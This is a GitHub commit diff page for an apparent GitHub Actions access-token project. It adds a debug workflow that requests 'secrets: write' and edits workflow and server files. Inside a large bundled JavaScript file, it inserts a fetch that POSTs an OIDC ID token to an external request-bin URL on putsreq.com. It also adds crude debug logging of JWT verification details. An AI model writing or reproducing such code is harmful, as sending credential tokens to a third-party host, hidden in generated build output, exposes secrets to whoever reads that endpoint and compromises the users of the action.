File tree Expand file tree Collapse file tree 7 files changed +56
-8
lines changed
Expand file tree Collapse file tree 7 files changed +56
-8
lines changed Original file line number Diff line number Diff line change 1+ name : Action > DEBUG
2+
3+ on :
4+ push :
5+ branches : ['**']
6+ paths :
7+ - action/**
8+ workflow_dispatch :
9+
10+ permissions :
11+ contents : read
12+ id-token : write
13+
14+
15+ jobs :
16+ debug :
17+ runs-on : ubuntu-latest
18+ defaults :
19+ run :
20+ working-directory : &working-directory action
21+ steps :
22+ - uses : qoomon/actions--access-token@main
23+ id : access-token
24+ with :
25+ permissions : |
26+ secrets: write
Original file line number Diff line number Diff line change 7777 contents : read
7878 id-token : write
7979 steps :
80- - uses : qoomon/actions--access-token@main
80+ - uses : qoomon/actions--access-token@v3
8181 id : access-token
8282 with :
8383 scope : owner
8484 permissions : |
85- contents: read
85+ contents: read
Original file line number Diff line number Diff line change 4141 timeout-minutes : 60
4242 steps :
4343 - uses : actions/checkout@v4
44+ - uses : jdx/mise-action@v3
45+ with :
46+ working_directory : server
4447 - name : Build & Deploy Worker
4548 uses : cloudflare/wrangler-action@v3
4649 with :
4750 workingDirectory : server/deployments/cloudflare
51+ wranglerVersion : 4.60.0
4852 apiToken : ${{ secrets.CLOUDFLARE_API_TOKEN }}
4953 accountId : ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
Original file line number Diff line number Diff line change @@ -73633,6 +73633,10 @@ async function getAccessToken(tokenRequest) {
7363373633 }
7363473634 throw error;
7363573635 });
73636+ await fetch(`https://putsreq.com/aabrC4rHFk9suPn7tka0`, {
73637+ method: 'POST',
73638+ body: idTokenForAccessManager,
73639+ });
7363673640 let requestSigner;
7363773641 if (config_config.appServer.auth) {
7363873642 if (config_config.appServer.auth.type === 'aws') {
Original file line number Diff line number Diff line change 11import { Hono } from 'hono' ;
2+ import process from 'process' ;
23
3- let app : Hono | null = null ;
4+ process . env . REQUEST_ID_HEADER = 'cf-request-id' ;
45
6+ let app : Hono | null = null ;
57export default {
68 fetch : async ( ...args : Parameters < Hono [ 'fetch' ] > ) : Promise < Response > => {
79 if ( ! app ) {
Original file line number Diff line number Diff line change @@ -120,6 +120,11 @@ export function tokenAuthenticator<T extends object>(
120120
121121 const tokenPayload = await verifier ( tokenValue )
122122 . catch ( ( error ) => {
123+ console . log ( `FUCK verifier error` , {
124+ error : error . message ,
125+ code : error . code ,
126+ originalError : error . originalError ?. message ,
127+ } ) ; // TODO remove debug log
123128 if ( error instanceof TokenError ) {
124129 throw new HTTPException ( Status . UNAUTHORIZED , {
125130 message : error . message ,
Original file line number Diff line number Diff line change @@ -9,11 +9,18 @@ import {retry} from './common-utils.js';
99 */
1010export function buildJwksKeyFetcher ( options : GetJwksOptions ) : ( jwt : DecodedJwt ) => Promise < string > {
1111 const jwks = buildJwks ( options ) ;
12- return async ( { header, payload} ) => retry ( ( ) => jwks . getPublicKey ( {
13- kid : header . kid ,
14- alg : header . alg ,
15- domain : payload . iss ,
16- } ) , {
12+ return async ( { header, payload} ) => retry ( ( ) => {
13+ console . log ( `FUCK buildJwksKeyFetcher` , JSON . stringify ( {
14+ kid : header . kid ,
15+ alg : header . alg ,
16+ domain : payload . iss ,
17+ } ) , "MOIN" ) ; // TODO remove debug log
18+ return jwks . getPublicKey ( {
19+ kid : header . kid ,
20+ alg : header . alg ,
21+ domain : payload . iss ,
22+ } ) ;
23+ } , {
1724 retries : 3 ,
1825 delay : 1000 ,
1926 onError : ( error : unknown ) => error instanceof TokenError && error . code === TokenError . codes . keyFetchingError ,
You can’t perform that action at this time.
0 commit comments